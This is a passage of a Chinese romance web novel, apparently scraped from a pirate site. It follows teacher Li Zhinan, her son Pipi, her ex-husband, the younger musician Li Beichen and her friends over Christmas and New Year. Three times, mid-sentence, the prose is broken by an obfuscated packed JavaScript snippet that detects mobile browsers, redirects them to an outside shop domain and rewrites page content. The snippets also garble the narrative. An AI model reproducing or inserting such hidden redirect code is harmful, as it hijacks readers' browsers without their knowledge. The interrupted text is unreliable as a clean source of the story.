“我是皮皮的钢琴老师,聊一聊他的教学计划。”李北辰倒是回答得很自如,一点尴尬的模样都没有,和李知难刚才的样子判若两人。 曲子格看向李知难,明知故问的语气:“你刚才怎么没告诉我?” 她是在试探,到底是两个人串通口供没串好,李北辰的演技比李知难精湛些,还是说,刚才自己真的想多了? “皮皮那么多课外班,所有老师我都要告诉你吗?”李知难反将一军。 “当然不是。”她讪讪答。 “什么时候回来的?”李知难问。 “我……压根就没走,”曲子格眼神有些逃避她的,“我一直在和顾清辛准备开培训学校的事情,但是怕你……就没告诉你。” 李知难手攥了攥拳头,“你这样……” 她又有些顾及李北辰在旁边,不想把话说得难听让曲子格下不来台。 李北辰自然端详出这些,起身去吧台边。圣诞节红红绿绿的装饰点缀在奶油甜品上,看起来格外诱人,他思忖李知难爱吃甜食,便端详着打算挑一个给她。左右看了遍后,才打算开口叫服务员,只听顾清辛在一边道:“你喜欢哪个一会儿直接从我这里拿吧。” 李北辰一愣,不解。 “我都买了。”顾清辛解释。 话声才落,另一旁就传来服务员得意的冷哼声,李北辰有些不理解这画面。 李北辰指了指角落里面的圣诞款香蕉船,对服务员道:“辛苦帮我拿一个这个,好吗?” 顾清辛:“我那个单独包一下给他吧。” 李北辰摆了摆手:“不用了,辛苦您,麻烦帮我重新做一个吧。” 顾清辛立刻冷了下脸,斜眼看向不接受自己示好的李北辰,眉头皱起。李北辰还是一张和煦面孔,回看他的表情恍如冬日暖阳,顾清辛也不由觉得自己不该这样没有礼貌,有些歉意地别开了头。 服务员礼貌客气询问道:“李先生,需要多等一下您介意吗?” 李北辰摇头,在一旁耐心等待。 顾清辛才正常的脸又立刻拉了下来。刚才还以为这位服务员今天工作超出负荷,对他那般态度,没想到转脸就热情地“李先生”起来,显得他在一旁愈发没了身价。 桌子这边只剩下了李知难和曲子格两个人,好在周围人多杂乱,她们说话的内容吧台那边也听不到。 李知难换上了张苦口婆心的脸,无奈道:“今天是圣诞节,你和他在一起,这不就是又要吃回头草的意思吗?” 曲子格不以为然:“我们怎么也是这么多年的朋友,他帮我我干嘛不要?” “小格子,你不能再这样……”她不知道如何再劝,劝她离开顾清辛这件事,她做了三四年了,可只有一次成功过,能想到的话她都说过一个遍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617660|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,本以为总算结束了,送走了这个瘟神,没想到他竟然又卷土重来了。 “那你呢?圣诞节你和李北辰在一起就没事了?”她又将话题扯回她身上。 “你别瞎说……”李知难一谈到自己,底气便弱了些。 曲子格缓缓道:“这么说,我之前找他,他对你的事情可谓如数家珍,怎么也不可能是一个学生应该有的态度。现在想想,我那时候是因为你没离婚所以被蒙住了眼,这前前后后全都加起来,他怕是一直都对你有意思吧?” 李知难没回答。 “从什么时候开始的?”曲子格开始盘算时间线,“你们去可能音乐?他来咱们学校?撞车?” 曲子格每一问,都能从李知难的表情里看出不是正确答案。她忽然反应了过来:“该不会他就是那个暗恋过你的学生吧!” 她隐约听孙书维说过这件事。高一那年她突然对邵冲格外优待,一次吃饭时,孙书维没忍住,当着她面说了一句:“小心再犯上次一样的错误,被学生暗恋有多麻烦你自己清楚!” 曲子格捂住了嘴。而从她望向李知难的表情上,她也猜出,自己说对了。 李知难脸上带着被人戳穿的窘迫,低声道:“我和他不可能……” “为什么不可能?”曲子格着急问道。 “我多大他多大?他钻牛角尖我也跟着他一起钻吗?”李知难语气有些急。 “可你动心了。”曲子格断定道,“就你刚才和他一起的表情,分明就是动心了。你现在这个狗急跳墙的语气,也说明你动心了。” “你别闹了……”李知难有些无奈。 “知难,你既然动心了为什么不敢试试?”曲子格不解。 李知难长叹了口气,对着自己的朋友,似乎没有办法再瞒下去,回道:“因为没人能承受得了这么多年的喜欢,我没那么好,他早晚会知道的,与其知道了失望,还不如……” “那你这个道理更不对了,”曲子格反驳,“你这样摽着人家,人家永远觉得你是最好的,这样下去你不是耽误人家一辈子。既然你没多好,正好试试让他死了心,以后也别耽误人家。” “你这是什么歪理……” “那你自己说,你为什么非要对得起他的喜欢?你要是不在乎,就不应该管这些。” “我……” “你在乎他这么多,还敢说没动心?” “曲子格,你别瞎说。”她只能重复这句话了,除了重复,她已经不知道如何回答。李知难脑子飞速运转着,她是个善于言辞的人,她从来不会在这样的争论里失去优势,她明明在这么多年的教学生涯里堆了一肚子的道理,正着歪着她都有的反驳,她不该是这样哑口无言的。 可脑子现在已经想不出反驳的话,她急到最后,竟口不择言地说道:“高中生的一时兴起,怎么能当真的?” 曲子格被气笑了,回道:“高中生怎么了?你可别忘了,我就是因为高中生的一时兴起没的工作,你还真别小瞧了他们。” 李知难无奈:“那不是一回事。” 曲子格情绪有些低落,甩了甩头,故作潇洒道:“我无所谓,反正此处不留爷,自有留爷处。” 李知难摸了摸她的头发,道:“小格子,我知道你现在的处境很难,但是无论什么时候,我都在这里。” “我知道。”曲子格答,她有些不好意思,但还是直言说了出来:“但是现在我需要的是顾清辛。” 李知难愣住了。 她再一次回到了当时那个两难的处境,支持朋友还是支持自己的是非观。当日她选择了前者,今天她本想坚定地选择后者,可是曲子格说出这句话的时候,她知道自己没办法做到了。 顾清辛是混蛋,可是此刻的曲子格,说她需要他。 带着打包了两大袋的甜点,曲子格和顾清辛离开了。 李北辰拿着香蕉船坐回李知难对面,虽然不知道刚才她们聊了什么,但是明显感觉到李知难的情绪有些不对劲。 他知道自己和李知难之间的关系,断不是她想昭告天下的那种。他甚至清楚,如果想和她有任何的可能,都需要在黑暗里蛰伏很久,冒着漏出些天光便会被打回原形的危险,艰难前行。 此刻,那天光似乎就近在咫尺,他有些犹豫该不该再继续邀请她,或者是,继续老实本分地退回黑暗里。 却突然听李知难问道:“你想看电影么?” 他感觉自己的脑子还没处理完这信息,嘴就迫不及待地应了声:“嗯。” 圣诞节的晚上,北京突然下起了雪。虽然是北方城市,但北京也不是每次都能这么识趣地选择成全成年人的童话,那零星的雪飘下来,李北辰将自己的外套罩在了李知难身上。 李知难听到他小声地嘟囔着什么,但寒冷化成一缕白烟,夹带着话音飘远了。 “你刚才说什么?”她好奇问道。 李北辰看着她,眼睛亮得像星星,道:“原来世界上真有圣诞老人啊。” 48. 新年 新年前夕,宋乐再次提出了同之前一样的要求,理由仍旧是爷爷奶奶想念皮皮。李知难心里总有些不踏实,在宋乐接孩子之前,提早一步带着皮皮去了爷爷奶奶家。 皮皮奶奶开门见是她,表情有些意外。 “妈。”李知难问候道。 “知难来了,来,进来吧。”皮皮奶奶打开门,又问道,“皮皮吃早餐没有?奶奶给你倒杯牛奶好不好?” 皮皮在爷爷奶奶家有自己的屋子,摇头说不用了,开心地回房间鼓捣他的那些小玩意儿。 皮皮爷爷见来人是李知难,也突然坐正,问候道:“知难来了。” “爸。” 奶奶倒了杯水,本还想说些没用的闲话,爷爷在旁直白道:“你跟宋乐的事,我们上周知道了。” “哦。”李知难不咸不淡地回应。相比她的快刀斩乱麻,宋乐到底是等到了自己升职稳定后,才在近期告诉了父母这个消息。李知难之前也没有催过,就是因为在自己父母那里折腾一通后,不愿再重新来一遍。 毕竟时至今日,李知难父母仍然不承认她离婚这件事。她甚至觉得好笑,国家都承认的事情,愣是在李知难父母那里不具有任何效用。 “是他对不起你,我们没教好儿子,对不起知难。”皮皮爷爷开口便是一通道歉的话,让李知难不知如何回应。 “呃,没事的爸,都过去了,早就过去了。”她尴尬地喝着水。 奶奶在旁忍不住补充道:“其实有件事我要说你,离婚这么大的事,为什么不来告诉我们呢?你们两个自己就做主把婚给离了,我们当老人的全被蒙在鼓里,我也是前两天给你父母打电话,才知道他们也是后来知道的,宋乐不懂事,你怎么也跟他一起糊涂?这离婚不是儿戏,怎么都不和大人说一声就这么冲动呢?” 李知难摸着杯沿儿,没有回应。 “知难,”奶奶道,“你是什么人我清楚的,你懂事知大局,这事要不是宋乐混蛋,你绝对不会同意离婚的。事已至此,我们就算遇到问题了也用不怕,解决问题就是了,妈给你做主。” 李知难清了清嗓子,道:“妈,您可能是误会了,我们……” 门此时突然打开,宋乐匆匆忙忙进来,鞋都没顾上换,开口就是对李知难没好气的责怪:“我不都说我去接皮皮就行么,你带他来干嘛?” “你跟谁说话呢!”皮皮爷爷一拍桌子,“什么态度!” 宋乐硬着脖子回道:“知难你先走吧,有什么事回头再说。” 他想上前拉人,却被皮皮奶奶拦住了:“宋乐,你干什么!” “她还有事,您别耽误她正事。”宋乐随口扯着谎。 李知难跟着起身,准备离开,却被宋乐妈妈一声喝住。“你们俩今天谁也别想走!不把话说清了,今天这个门你们就出不去!” 李知难尴尬站在原地,宋乐潜意识将她护在了身后:“您二老有任何事情,跟我说,找我,咱别难为知难好吗?” “这是你一个人的事吗?” “现在我们离婚了,她没义务听您说这些,您让她走,有话跟我说,行不行?” “不行!今天我就问问你们,到底怎么能这么擅作主张决定离婚?我们大人连个知情权都没有了?” 宋乐无奈地摸了摸头,表情烦躁不安,道:“不是,我们结婚也是自己决定的,离婚怎么就不能?我们都三十好几的人了,怎么就不能自己做决定了?” “那你倒是告诉我,你们为什么离婚?” 李知难诧异地看向他。眼神在问,你没告诉你父母? 宋乐的表情愈发尴尬,但终究到了纸包不住火的时候,只能百般不情愿地回道:“因为……我出轨了。” “什么?”宋乐爸妈一齐喊出了声。 宋乐破罐子破摔道:“就是因为我外面有人了,所以我们离的婚,可以了吧?可以让她走了吗?” 宋乐妈妈难以置信道:“知难,这是真的?” “对。”李知难点头。 宋乐在旁又道:“我的新女朋友,你们上次圣诞节也见过了,就是我那个同事,小柳。” 皮皮奶奶顿时捂着心脏坐到了沙发上。 皮皮爷爷看向她,似乎不敢相信儿子口中的话,只颤颤道:“知难……” 李知难看着当下情形,回道:“爸妈,今天皮皮我还是先带走吧,过两天再给您送回来,您今天,先和宋乐慢慢聊吧。” 说罢她去皮皮屋,拉着不明就里的皮皮匆匆离开, 出小区后,皮皮仍旧两步一回头地向后看,好奇道:“妈妈,怎么才来就走啊?” 李知难敷衍答:“今天,爷爷奶奶突然有事了,改天你再回去。” 皮皮古灵精怪道:“是要训爸爸吧?” “你怎么知道的?”李知难被他机灵的小样子逗笑。 皮皮了然答道:“嗨,这有什么难的,每次爷爷奶奶训我的时候,就是那个样子。” 李知难捏了捏他的脸,问道:“那爷爷奶奶为什么训你?” 皮皮撇了撇嘴,答:“他们说,让我不要踢足球了,还让我跟你这么说,我不干,他们就训我。” “那你想踢吗?” “想。” “想踢一辈子?每天都要跑,没完没了地跑,就算是累得精疲力尽了也跑?舒舒服服坐着不好吗?”李知难反问。 “不好,我就是想跑。”皮皮坚定回答。 “皮皮,你可想好了,这可不是轻松的事,你会特别特别累的。” 皮皮天真地回答:“我知道啊,可是累,歇一会儿就不累了。” 李知难揉了揉他的头发,没有回答。 才走出小区,皮皮小脑袋一转,突然道:“妈妈,咱们去找北辰老师吧?” 他现在称呼他已经亲昵很多,从小李老师升级到了北辰老师。 李知难应道:“今天去干什么?你明天才上课呢。” 皮皮想都没想,道:“今天是新年啊,咱们可以去给他一个惊喜。” “皮皮,你很喜欢他?” “当然了。” “为什么?” “为什么要有为什么?”皮皮不解答,“我喜欢踢足球,喜欢北辰老师,就是因为我喜欢啊。” 李知难点了点头,附和道:“对,喜欢是不需要原因的,妈妈问错了。” “那能不能去找北辰老师啊?上次他送了我一首歌作为考试满分的礼物,咱们也去给北辰老师也送个礼物吧?”皮皮提议道。他和李北辰的私交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617661|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着实有些过分亲密了,他们一起弹琴,一起踢球,一起玩游戏,他们之间似乎有很多共同点,就连宋乐很多时候也只是在一边看着皮皮,可李北辰不同,李北辰像是另一个孩子,两个人玩儿到了一起去。 “你想送他什么?”李知难好奇。 “咱们买个蛋糕吧?” “你是想送给他呢,还是想自己吃?”李知难看出了他的小心思。 “也送给他,也给自己,”皮皮道,“然后妈妈也可以一起吃。” “你啊!”李知难拍了拍他的头。 “行不行?你不反对就当是行了!走吧妈妈!”皮皮蹦蹦跳跳兴奋道。 李知难低声,有些尴尬道:“那你可记得跟北辰老师说,是你非要去的。” 二人带着蛋糕,来到李北辰家门口,皮皮兴奋地跳着按门铃。 少顷,门微微开了个缝,里面的人是一身居家装扮的文诗,她惊讶地看着面前的二人,不悦道:“李老师?” “你……我……”她尴尬地开不了口。她想问她为什么在这儿?又发现自己没有问这问题的身份。她又想解释自己为什么在这儿,却发现自己也没有体面的理由。 倒是皮皮率先开口道:“阿姨好,我们来给北辰老师送蛋糕。” 皮皮指了指盒子中的蛋糕,语气开心兴奋。 李知难清晰地捕捉到文诗的脸上闪过了一丝嘲讽。 “李北辰……现在在睡觉……”她仍旧半掩着门,故意压低了声音。 李知难不知道心底那味酸胀从何而来,她将蛋糕递过去,道:“既然这样,我们就不方便打扰了,这是皮皮要送给他的,还麻烦你转交一下。” “李老师,这是你的孩子?你都有这么大的孩子了?”她谈论皮皮的口气,像极了高高在上的上位者去挑剔下位者拿不出手的弱点。仿佛皮皮是她的累赘,是她婚育过的证明,是她无法剥去的耻辱。 “对的。”李知难拉起了皮皮手,态度坦然道:“皮皮,和阿姨再见。” “再见阿姨。”皮皮挥了挥手,不舍地看着妈妈把蛋糕递了出去。 新年零点来得悄无声音,李知难在床上看着书,一旁的皮皮已经安然入梦。 手机传来几声震动。 孙书维发来了标准的复制粘贴公式祝福信息;奚西祝她新年快乐,新年新气象,万事皆顺心。曲子格发了段喜气洋洋的音频,兴高采烈地喊着新年快乐我的宝贝。 李知难微笑着读着这些消息,恍然觉得这便是关于节日,成年人最大的仪式感了。 她还没来得及回复,突然收到了宋乐的消息:知难,我们需要聊一聊,关于皮皮的事。 李知难犹豫着,最终还是退出了对话框。 手机在这时又轻微地震了下,是李北辰:祝李老师新年快乐。 李知难心里有些气,方才装出的心平气和,新年气象都因为他这句无关痛痒的新年快乐变得忿忿郁结,她鬼使神差地回了条:睡醒了? 然后她瞬间就后悔了。 刚才那一刻的心情太过复杂,或者这一整天的心情波动都太过复杂,以至于她失去了理智,冲动之下的这三个字,不偏不倚地越过了界。 她将信息撤了回来,狠狠地拍了拍自己的脑门。 49. 别无他法 逃避一个尴尬问题的最好办法就是去解决另一个尴尬问题,李知难起身去客厅,拨通了宋乐的电话。 “说吧。”她轻声道。 宋乐答道:“皮皮不能再这样下去了,等寒假结束,就把足球停了吧。” “为什么?” “我爸妈觉得这不是条好路子。” 李知难无语道:“你不是去谈你自己的事情了,怎么扯到了皮皮身上?” 宋乐道:“他们一直这样想,你是知道的,以前我还能压一压,这次,我也压不住了。” 李知难心里清楚,这次他不仅是压不住,甚至是在火上浇了把油。 “那你怎么想?”李知难问道。 “我觉得他们是对的。首先这一阵皮皮的成绩很好,他是聪明的孩子,学习这条路对他来说并不困难。我父母和你也有天然的背景优势,在这方面,我们都可以帮到皮皮。”宋乐道,“你也明白,在中国踢足球没前途,就算踢到最好的位置,也不是什么好职业。” “说不定皮皮能改变这些呢?”她没底气地回。 “皮皮一个人能改变中国足球的未来?你别开玩笑了,咱们都现实一点吧。”宋乐道,“我和你的想法一直是统一的,咱们都不想逼孩子,但是咱们也不能让一个六岁的孩子去负未来人生的责任,这是我们做父母的责任,你觉得呢?” “我理解,但是皮皮喜欢的事情,我也不想武断地结束。”李知难为难道。 宋乐在那边沉默良久,最后道:“明白,我再去劝劝他们。” “好,谢谢你。”李知难小声答。 “谢我干什么?”他那边传来轻笑,仿佛在无奈摇头,“是我谢谢你。” “那,不客气。”李知难应道。 也许是午夜时分,人总爱乱生感慨,宋乐忍不住问道:“知难,你当初到底为什么嫁给我啊?” 李知难回道:“我说了,因为你是一个好人。现在看来,我也没说错。” 他长叹了一口气,轻声问道:“那要是再来一次……” 李知难清了清嗓子,假装没听到一般:“没别的事我就先挂了。” 李知难挂掉电话,不由认真思索方才的对话。为人父母,理应为子女计深远。可她有时候觉得自己都像是在装大人的孩子,端起大人的样子,模仿大人的语气,做一些自己也不确定的事情。工作生活上,这些事情做多了,熟门熟路了,也就不再别扭,可唯独面对皮皮的人生,她再次有了这种无力感。她也不知道深浅远近,她也不清楚人生法则,她甚至不确定自己的人生走得究竟怎样,却要开始对另一个生命负责。 偏偏哪怕自己的人生走得一塌糊涂,她也想在荆棘里为皮皮找一条最好的路,可又不确定自己找到的路究竟是好是坏。 心烦意乱下,她胡乱洗了个澡,准备去睡觉。 门铃此时突然响起来。李知难低头看了看表,凌晨一点,宋乐执着到这种地步吗? 她打开门,看到的却是戴着口罩满头大汗的李北辰。 “你怎么来了?”她满是不解。 李北辰下意识向后退了一步,声音哑哑地回道:“我没睡觉,不对,我是在睡觉,但是因为我生病了。” 李知难看他的模样,想上前测他的体温,谁料他再次向后退了一步。 他轻轻咳着,道:“别传染给你,还有皮皮呢。” 李知难的手空在原地,缓缓地放了下来。 李北辰的眼睛看起来像是犯了错误的孩子,他的声音急切,因此又带出了一阵咳:“我生病了,文诗来找我谈工作的事情,我和她什么事也没有。” 李知难低声道:“这和我没关系,你不用专门来解释……” 话音未落便被他打断道:“和我有关系,我必须解释。也……和你有关系。” 李知难愣在原地,不知道如何回应。 “我是因为圣诞节那天,把外套借给你,所以生病的。”李北辰突然道,“你算是……呃……罪魁祸首。” “啊?”李知难不知他这话锋突转的胡搅蛮缠从何而来。 “新年快乐。”他再次莫名其妙地开口道。 “你怎么过来的?”她看着他当下的样子,有些担心他是不是脑子烧坏了,“开车?” 他摇了摇头:“我吃药了,没敢开。” “地铁停运了,你打车来的?” 他继续摇头:“打不到,我着急,就骑自行车来了。” 李知难算着两地的距离,看着外面的天气,想都没想就拉住他的外套,将他拉进了屋内。 “胡闹么这不是。”她嘴里小声责怪道。 李北辰被她拉着,最终烂泥一样地瘫在沙发上,本来的感冒加上这一通折腾,真卸了力气后,坐都坐不直。 李知难上前去摸他的额头,脸上冰凉,额头却热得烫手。 “你也有意思,生病了不在家里养病,大冷天骑自行车来我这,是想来讹我还是怎么着?”她帮他贴上了降温贴,准备好退烧药,嘴上也不忘碎碎念叨。 “这件事更重要。”李北辰执着道。 李知难没好气地回道:“讹我重要是吧?那天你自己把衣服给我的,我以为你年轻小伙子火力壮,这么看来你也就那么回事。” 李北辰温柔地笑,任由她扶住他的头,粗手粗脚地灌药。 李知难将另一个屋子简单收拾下,道:“你今天睡次卧吧,我看你也走不了了。” 李北辰痴呆呆地看着她笑。直到他躺在了她家的床上,也仍然不觉得真切。 “知难。”他小声叫他的名字。 李知难被着两个字叫得心里酸软。 “你不生我气了,对吧?”他再次确认道。 “我什么时候也没生过你的气。”李知难嘴硬地说。 “那就好。”他自己说自己的,“你不生我气了就好。” 次日,李北辰是被人压醒的。皮皮兴奋地压在他身上,叫道:“爸爸?” 李北辰睁开眼,皮皮也满是诧异:“北辰老师?” “你刚才叫我什么?”李北辰嗓子哑着追问。 皮皮不好意思地解释道:“我以为你是我爸爸呢,平时我爸爸睡这间屋子的。” 李北辰看着眼前的男孩,突然道:“皮皮,你要不要当我干儿子?” 皮皮听到这提议,小眼珠滴溜溜转:“那有什么好处吗?” “你想要什么?” 皮皮凑到他耳边低语。 “成。”李北辰果断同意。 “干爸!”皮皮像是个小汉奸一样,说改口就立刻改。 李北辰满意地摸了摸他的头,又听到了外面的动静,突然有些心虚道:“算了,还是叫老师吧。” 皮皮瞪大了眼睛不理解他的出尔反尔。 李北辰无奈地笑了笑,道:“怕妈妈生气。” 皮皮这才懂事的点了点头。 厨房里的李知难也听到了外面的动静,喊道:“你们俩洗漱准备吃早餐,还有皮皮,离李老师远一点,他生病呢,别传染你。” 李北辰老实地戴上口罩,他本也不吃早餐,在一旁坐着像是个陪侍的,只能没话找话道:“今天本来皮皮应该找我上课,但是我可能要请假了。” 李知难吃了口面包,道:“那课时费我可是不会付的。” 李北辰笑着点头。 “一会儿我们送你回去?”李知难问。 皮皮在一旁遗憾道:“啊?这就走了?昨天的蛋糕还没吃呢。” “一会儿我再补你一个。”李北辰道。 “一会儿?”李知难抓着他的字眼,“你很闲吗?你病好了吗?” 李北辰道:“我本来也有个事情想和你商量一下。” 李知难不解看他。 “你还记得我说过我的那个做体培的朋友吗?”李北辰道,“曲老师自己创业,我觉得可能会有很多问题,我可以帮你介绍一下。如果你想的话。” 李知难:“你怎么知道的?你是我肚子里的蛔虫吗?” “可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14617662|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你比你想的更容易猜透。”李北辰答。 “嘁。”李知难不服气地撇嘴。 早饭后,李北辰约好了时间,三个人开车来到了体培学校的训练场。李知难本想推脱几日,等他好差不多了再去,可李北辰坚持自己没事,而且那个朋友的时间也不好约,赶上他回北京过元旦,不想错失机会。 体培学校建在市中心,位置绝佳,设备齐全,皮皮刚到就撒欢儿似地在球场上跑了起来,恰逢有班级集训,他一点也不见外地加入进去。这些学生比他课外班的专业许多,个头也比他大一些,几个性格活泼地故意逗他,用球将他绕得七拐八弯,可皮皮像是个不服输的铜豌豆,摔了就起来,丢了就再抢,无论如何不肯认输。 “你儿子是个好苗子。”体培中心的王总看着外面的场景,对李知难道, 李知难认真地看着他给的资料,消化着他刚才的讯息,回道:“谢谢您,今天受教很多。” “体培机构不好开,你朋友需要多想一想。但是你儿子,我倒是觉得可以培养培养。”王总惜才,见到好苗子忍不住动心。 李知难点头,道:“是,但是我们也没打算把踢足球当成正业,毕竟还是学习重要。” 王总见状也明白大半,简单告别后便因会议匆匆离开。李知难和李北辰在走廊上看着皮皮踢球,也并没有要离开的意思。 她看着外面寒冷天气里,那个跑得欢快的男孩,始终不知道自己究竟应该如何选择。 李北辰在一旁问道:“在纠结什么?” “你又知道了?” “你的表情会说话。” “那你看我现在的表情在说什么?” “在说,李北辰离我远一点。” “有道理。”她轻笑。 “所以,到底在纠结什么?” “皮皮。” “踢足球的事?” 李知难点头道:“我觉得我也挺虚伪的,对外教育要追求梦想,真到了自己孩子身上,还是这套为你好的古董理论。” “医者不医亲,这都是无可避免的。”李北辰应道。 李知难眼神离不开皮皮,语气满是无奈:“我不想葬送他的梦想,可我确实从心底里不认可他的梦想,因为他的梦想和现实错节太多了。” 李北辰反问道:“那什么是梦想?梦想本就是和现实毫不相干的。梦想就是在没有任何土壤和养分的情况,也能纯粹靠着热爱发光的东西。如果考虑现实,那还叫什么梦想?” “你会支持皮皮踢球吗?”李知难反问。 “会。”他语气坚定。 “哪怕浪费了宝贵的时间,耽误了他的大好前程?” 李北辰看向她,温声道:“对于快乐的人,什么样的前程都是大好前程,不快乐的人,又何谈好不好?” “我真是怕耽误了他……”李知难呢喃道。 李北辰声音清朗:“李老师,选择这件事,就是没有定数的。无论选择了哪条,都可能会好奇另一条路是不是更好走一些,于是不管选哪条,都会边走边质疑,边疑惑边后悔。可我觉得,人生的路,哪条都是好路,只要能享受过程,不谈假如,不问结果,坚定地走,快乐地走,时光是不会被辜负的。” “李北辰,你真的觉得,自己没有辜负过时光吗?”李知难轻声问。 “你觉得呢?”他的眼神再次变得让她想逃避。 李知难低头小声道:“我当然觉得你浪费了……” 你浪费了大好光阴,尤其是在我身上。 “我选了就不会后悔。不会好奇,不会质疑,也不会因为挫折就想放弃。我享受每一个时刻,因为这些时刻之于我,都是不可复制的快乐。” “那痛苦的时刻呢?”她反问。 他轻声笑道:“你忘了我是做什么的?伟大的艺术家都是被痛苦灌溉的,我的痛苦也自有其价值。” “所以你才自找苦吃?” “有没有可能,我是别无他法?”他仍旧那样看着她,眼睛明亮似星辰。 50. 你允许就行 元旦假期后,李知难的工作进入到期末冲刺备考阶段,高三上学期即将结束,一时间教学任务和行政任务都繁重异常。她几次遇到吴思齐欲言又止地扯开话题,都没有再追问,毕竟考试在即,现在说这些不合时宜。 直到期末考试结束那日,吴思齐才终于借着考试的由头和她多聊了几句。 “你要是想问曲子格的事,就直接问吧。”李知难早就看出来他真正的目的。 “她怎么样?”吴思齐试探问道。 “你可以直接联系她。” “我们应该是分手了吧,我再缠着她,那算什么?”吴思齐答。 “她有跟你说要分手吗?” “没有直说,可是都已经说到那个地步了……”吴思齐低头不言。 “你要是真喜欢她,会有办法的。曲子格这个人,可能脾气不好性格冲,可她有一样独有的魅力,她很擅长发现爱,真正爱她的人,她一眼就知道。”李知难鼓励道。她私心希望吴思齐能够再努力一下,再改变一点,去做一些疯狂的事,去说一些肉麻的话,只要他愿意走出这一步,曲子格必然会在对面毫不迟疑地向他奔跑而来。 相比和顾清辛没完没了的纠缠,她更希望曲子格能拥有纯粹简单的幸福。 纵使当下她并不确定,这是不是曲子格真正想要的。纵使那日曲子格分明说了,她现在需要的人是顾清辛。 冬天的夜来的早,学生们放学路上已经要顶着满天星辰了。李知难看着天上那几颗亮晶晶的星星,心里莫名其妙地软了下,似乎最近在想到关于他的事情时,哪怕只是碍个边,她心里都会不由自主地软下来。 奚西穿着厚厚的羽绒服,看着在教学楼抬头的李知难,笑道:“夜观星象呢?” 李知难搂住了她的胳膊,试图取暖。“对了,音乐剧的事怎么样?” “电视台初试复试都过了,但是还是给了很多改进意见,暑假就是你和我一起的,这次寒假练习也一起啊?” 李知难拒绝道:“你都跟了一个学期了,我就不在临门一脚的时候去掺和了。” 奚西低头道:“你明知道我是有私心的。” 她和陈亦童的感情分分合合,几次发誓发狠要断了和他的关系,可最后总会被他的示好感动,再次回到他身边。而音乐剧,就像是一根扯不开的线,将两个人绑在了一起。 “出发点可能有些不纯,但是结果是好的,总归为了孩子们好。”李知难劝道。 奚西答:“等演出结束,我就和他结束这种关系。” 这次她是真心的。她一直知道这件事必定要有个终点,而自己真的疲倦得无法再继续下去了。 李知难试探问道:“只有这一种办法吗?” “我和他之间,只可能有这一种关系。”奚西无奈笑道,“就当我感情成长路上交的学费吧。” 奚西和陈亦童的一次意外衍生出了无数次的非意外,他喜欢搂着她,纵使睡着时也紧紧地把她环在怀里,丝毫不肯松。 奚西以为,这算是心照不宣的开始。直到在商场遇到陈亦童的朋友,他介绍自己,我亲戚家的妹妹。 奚西当晚和他大吵了一架,“我是什么?你亲戚家的妹妹?那我们现在在做什么?□□吗?” 陈亦童看着歇斯底里的她,冷静道:“我以为你国外留学回来的,对这种事很开放。” 奚西哭着离开了酒店,她一路都走得异常缓慢,因为按照她看言情剧的经验,陈亦童一定会追上来的,他们会吵,会闹,然后会在马路上紧紧相拥。后来她在酒店外的马路等了一个小时、两个小时后,才明白那些都是编出来的,现实中男人并不会追着下来。 她立即果断地选择了分手,纵使她从未拥有过这段感情。 自从李北辰离开可能音乐,音乐剧的项目由陈亦童全权负责,她每两周和他见面一次,尽最大努力把情绪隐藏在心里,做到态度专业公事公办。 只有她自己心里知道,她做不到。因为喜欢这件事,是一个人的心理活动,就算脑子知道对方是个千疮百孔的人渣,心仍旧会不由控制地想接近他。 前几周,她做得很好。可他不断地撩拨她,请她吃饭,逗她开心,她的脑子好了伤口忘了疼,她的心鬼使神差地答应了他的邀约。 果不其然,最后的干柴烈火一瞬即燃,可这次清晨再看到他的背影时,奚西却没有上次那般果断了。 不想离开他,却也不想没有自尊地和他维持这样的关系。 于是奚西选了个体面的说法:“我有喜欢的人了,我也不需要你的名分,但你得帮我保守秘密。” 陈亦童笑了,带着一丝不屑,“你不是说,你不是开放的人吗?” “我是什么人,跟你没关系。”奚西低头答。 “你喜欢谁?”他表情似是无意,但语气突然冷峻起来。 “也和你没关系。” 那个喜欢的人,成了她虚伪的体面。奚西总是暗暗觉得,这可能是报应。她分明说过自己想要的是纯洁的爱情,她一直暗暗期待着那样的爱情,可她最终背叛了她的信仰,于是老天爷就罚她爱上这样的男人。 她无数次想去试探他的心,但结果往往都是碰一鼻子灰。他搂着女明星出席各种光鲜的场合,他被拍到各种桃色绯闻,他身边的女伴总是换来换去,她见到的听到的,都是这样的现实。 现实里没有浪子回头,没有为爱转性,现实中的他,优秀得被很多人惦记,也花心得流连忘返。 所以她给自己设了个时限,像是戒瘾一般,有个对未来的盼头和离开他的决心。 “大年初一,音乐剧表演结束之后,我就会和他彻底一刀两断。”奚西赌誓般说道。 